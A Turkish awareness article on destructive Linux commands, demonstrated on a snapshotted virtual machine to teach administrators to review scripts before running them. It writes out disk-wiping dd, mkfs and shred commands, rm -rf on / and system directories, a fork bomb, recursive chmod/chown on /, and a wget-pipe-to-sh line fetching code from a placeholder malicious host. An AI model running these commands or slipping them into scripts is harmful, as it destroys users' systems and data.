Tehlikeli Linux komutları ve sonuçları

Merhabalar,

Bu makalede, Linux sistemleriniz için ÖLÜMCÜL olabilecek, asla çalıştırmamanız gereken Linux komutlarından bazılarına değinmek istiyorum. Bunun nedeni ise, örneğin güvenli olmayan kaynaklardan bir script download etmişseniz, script içine gizlenmiş olabilecek birtakım zararlı kodlara karşı da farkındalık yaratmak aslında. Dolayısıyla bu makalenin yalnızca, okuyucuların aşağıdaki komutlardan herhangi birinin yürütülmesinden kaçınılması gerektiğini bilmelerini sağlamak için yazıldığını belirtmek isterim. Burada bahsedilen tüm komutlar, sisteminiz ve verileriniz için ciddi sorunlara neden olabilir.

Hangi linux dağıtımında olduğunuzun bir önemi yok. Daha güncel bir sistem olması açısından, sanalda kurulu bir Oracle Linux Server 8 üzerinde aşağıdaki işlemleri yapacağım. İlla ki bu komutları denemek isterseniz, sanal sunucunuzun bir snapshot’ını kesinlikle alınız. Başlamadan önce, snapshot aldım ve her komut sonrası, sistemim zarar gördüğü için snapshot’tan restore ederek, diğer komutları uygulama adımlarını gösterdim.

Ayrıca, disk bilgilerimizi de aşağıdaki komutla alıyoruz ki kullanacağımız komutlarda disk ismi olarak /dev/sdx vs gibi tanım yapmamız gerektiğinde ne yazacağımızı bilelim.

fdisk -l

Gördüğünüz gibi oracle linux’da sda, sdb şeklinde değil de nvme şeklide disk tanımı gelmiş.

1.  Format Sistem Disk

Linux yöneticileri, yeni oluşturulan bir disk bölümünü biçimlendirmek ve bir dosya sistemini atamak için bu komutu çok sık kullanır. Ancak dikkatsizce kullanıldığında, diski biçimlendireceği için, üzerindeki verileri de silmesi anlamına gelecektir. Bu nedenle, bu komutu kullanırken, istenen disk bölümünün seçildiğinden emin olun. Sistem diski üzerinde uyguladığınızda, diskin kullanıldığına dair uyarı alacaksınız ve işlem gerçekleşmeyecek. Fakat diğer disklerde yapmanız durumunda, o disk üzerindeki herşeyi kaybedeceksiniz.

mkfs.ext4 /dev/nvme0n1

Bu komut bizden, her durumda y ya da N tuşuna basmamızı bekliyor. Dolayısıyla yanlışlıkla komutu uygulamış olsak bile, onaylama veya iptal etme seçeneklerine de sahip oluyoruz. Fakat aşağıdaki gibi bir uygulama yaparsak, sorgusuz sualsiz biçimlendirme işlemi yapılacaktır.

echo “y” | mkfs.ext4 -j /dev/nvme0n1

Diğer bir kullanım şekli de aşağıdaki gibidir. Bu komut, seçilen diski zero’larla doldurur. Bu örnekte 1KB lık bilgiyi 10 defa yazmasını istedim. Toplamda ise, 10 KB’lık bilgi yazdı. Elbette bu değerleri arttırmak da mümkün.

dd if=/dev/zero of=/dev/nvme0n1 bs=1024 count=10

Bu işlemi, sistem diskine yaptığım için, komut sonrasında sistemi restart ettiğinizde, sistem açılmayacak ve aşağıdaki gibi bir sonuç ortaya çıkacak.

Aşağıdaki gibi de kullanabilirsiniz. Bu komut da boot sector’ü silecektir ve sonuç aynı olacaktır.

dd if=/dev/zero of=/dev/sda bs=512 count=1

2.  /etc veya /boot dizinlerini silme

/etc: Sistem içinde gerekli olan tüm konfigürasyon dosyalarını tutar.

/boot: Tüm çekirdeği, InitRD ve GRUB ile ilgili dosyaları, sistem açılışı için gerekli olan dosyaları tutar. Bu klasörlerden herhangi birini silmek, sisteminizi kullanılamaz hale getirecektir.

rm -rf /etc

Restart sonrası, aşağıdaki gibi bir hata alırsınız.

rm -rf /boot

Burada, cihaz meşgul uyarısı alıyorsunuz ama restart ettiğinizde, gördüğünüz gibi olan olmuş 🙂

Yapılandırma dosyalarını, sisteminizden silmenin ve sisteminizi kurtarılamaz durumda bırakmanın bir başka yolu da, aşağıdaki komutu kullanmaktır. Bu komut, .conf (konfigürasyon dosyaları) ile biten tüm dosyaları bulacak ve rm -rf komutuyla da komple silinmesini sağlayacaktır..

find / -iname “*.conf” -exec rm -rf {} \;

Restart sonrası, yine aşağıdaki gibi bir hata olur.

3.  Tüm dosya sisteminin silinmesi

Çoğunuz bu komutu biliyor olabilir. Haydi uygulayıp görelim 🙂

rm -rf /*

Bu, / dizini altındaki dizinleri ve alt dizinlerini sunucunuzdan siler. Dosya sisteminiz, kullanılamaz hale gelir.

Operation not permitted hataları görürsünüz ama, komut işletilmesi bittiğinde hiçbir komutu kullanamadığınızı da görürsünüz…

4.  Fork Bombası (çatal bombası)

Çatal bombaları, hem çatallanma sürecinde CPU zamanını tüketerek hem de işletim sisteminin işlem tablosunu doldurarak çalışır. Bir çatal bombasının en temel hedefi, kendisinin yeni kopyalarını tekrar tekrar başlatan, sonsuz bir döngü yaratmaktır.

Şimdi, bu komut kendisinin sonsuz bir şekilde kopyalarını oluşturacak ve tüm sistem belleğinizin dolmasına, CPU’nuzun işlem yapamaz duruma gelmesine ve böylece sistemin çökmesine neden olacak. Bu komut, aynı zamanda disk bozulmasına da yol açabilir.

Kendini, biri ön planda ve biri de arka planda olmak üzere iki kez çağıran ‘:’ adlı bir işlevi tanımlayarak çalışır. Sistem donana kadar tekrar tekrar çalışmaya devam eder.

:(){ :|:& };:

Komut sonrasında, sunucunuz ve komut satırınız cevap veremez duruma gelir. Sunucuyu restart etmeniz gerekiyor. Restart sonrasında normal şekilde açılacaktır.

5.  Diski rastgele verilerle doldurmak

Aşağıdaki komut, diski rastgele verilerle dolduracaktır. Orijinal verilerin üzerine, birkaç kez rastgele veriler yazılacaktır. Dolayısıyla, tüm diskteki verilerin de üzerine yazılmış olacak. Genelde disk tipi olarak sda, sdb,sdc olarak alışılmış olabilir. Benim yukarıdaki örneklerimde, disk ismim başka olduğu için, hatırlatmak amacıyla önce klasik komutu yazıyorum. Siz kendi disk isminize göre değiştirmeniz gerekiyor.

dd if=/dev/random of=/dev/sdx

dd if=/dev/random of=/dev/nvme0n1

Ve tabi ki restart sonrası, yine sistem bulunamıyor…

Bir başka versiyonu da aşağıdaki komuttur. Bu komut, aslında kullanışlı bir komuttur. Özellikle eski diski atıyorsanız ve eski diskteki verilerin yanlış ellere düşmesini istemiyorsanız kullanabilirsiniz. Fakat, veri diskinizde yapıyorsanız herşeyi kaybedeceksiniz.

shred /dev/sdx

shred /dev/nvme0n1

Ve restart sonrası, yine sistem bulunamaz durumda…

Aşağıdaki komut, “komut” çıktısını /dev/nvme0n1 bloğuna yazar. Kısacası, ham verileri yazar ve bloktaki tüm dosyalar, ham verilerle değiştirilir, böylece blokta toptan veri kaybına neden olur.

komut > /dev/nvme0n1

En basitinden düşünürsek, ls -l çıktısını ham veri olarak diske yazsın 🙂

ls -l > /dev/nvme0n1

Reboot sonrası sistem açılmaz, ekran şöyle görünür ve sistem açılmaz.

6.  Dosya izinleri hasarları

Yukarıdaki komutların tümü, verilerin kaldırılması veya üzerine yazılmasıyla ilgiliydi. Ancak dosya izinlerini kullanarak, sisteminizi kullanılamaz hale getirmenin de yolları vardır.

Örnek olarak / dizini izinlerine bakalım öncelikle. Sonrasında, aşağıdaki komutları snapshot geri yüklemeyle tek tek uyguluyorum. 🙂

ls -l /

Aşağıdaki komut, sistemdeki tüm dosya veya klasörlerin tüm izinlerini kaldıracak, dosyalara ve klasörlere hiç kimse erişemeyecektir.

chmod -Rv 000 /

Komutu uyguladım ve bakınız root kullanıcı dahil, hiçbir işlem yapılamıyor.

Aşağıdaki komut ise, dosya sahibini ve grubunu nobody olarak değiştirecektir.

chown -R nobody:nobody /

Aşağıdaki komut, tüm dosya ve klasörlerin izinlerini herkes tarafından yazılabilir olacak şekilde değiştirecektir. Eminim böyle bir senaryoda nelerin olabileceğini hayal edebiliyorsunuzdur. 🙂

chmod -R 777 /

7. Yazılım Download ve otomatik çalıştırma

Download ettiğiniz herhangi bir script içinde, başka bir yazılımı download edip otomatik çalıştıran bir kod’da olabilir. Aşağıdaki komut, böyle komutlara örnektir.

Bu komut, kötü amaçlı bir kaynaktan, bir komut dosyası indirecek ve ardından onu çalıştıracaktır. Wget komutu, betiği indirecek ve sh ise, indirilen betiği çalıştıracaktır. Tabi burada ekstra executable hakları da veriliyor olabilir. Bunlara da dikkat etmeniz gerekiyor.

 wget http://supheli_kaynak_dosya -O- | sh

Elbetteki çok daha fazlası yazılabilir. Burada önemli olan, herhangi bir script içindeki bir komutun ya da sizin uygulamayı isteyeceğiniz herhangi bir komutun, yorumlanabiliyor olmasıdır. Linux’la çalışacaksanız, bolca komut ya da script kullanmanız gerekecek. Bu scriptleri, ya siz yazacaksınız ya da herhangi bir kaynaktan bunları elde edeceksiniz. İşte bu gibi durumlarda, o scripti ya da komutu çalıştırmadan önce, içeriğini incelemeniz gerekiyor. Dolayısıyla, az çok yorum yapabiliyor ve sonuçlarının da ne olabileceğini görebiliyor olmanız gerekmektedir.

Kurumsal yapılarda, linux sistem yöneticileri, içeriğini incelemeden asla bir scripti çalıştırmamalıdır. Hatta öyle kurumlar var ki, bir script uygulanmadan önce, bu scripti ilgili birimlerdeki uzmanlara detaylıca inceletip, sizden geri dönüş senaryosuna kadar birçok şartı yerine getirmenizi bekler. Böylece o yapılacak iş, belki 2-3 gün (en iyi ihtimalle) sürecek bir onay sürecinden sonra yapılabilir olur. 🙂

Bir başka “zararlı komutlar” makalesinde görüşmek üzere…

Yararlı olması dileğiyle.

Yusuf İşleyen

Bir Cevap Yazın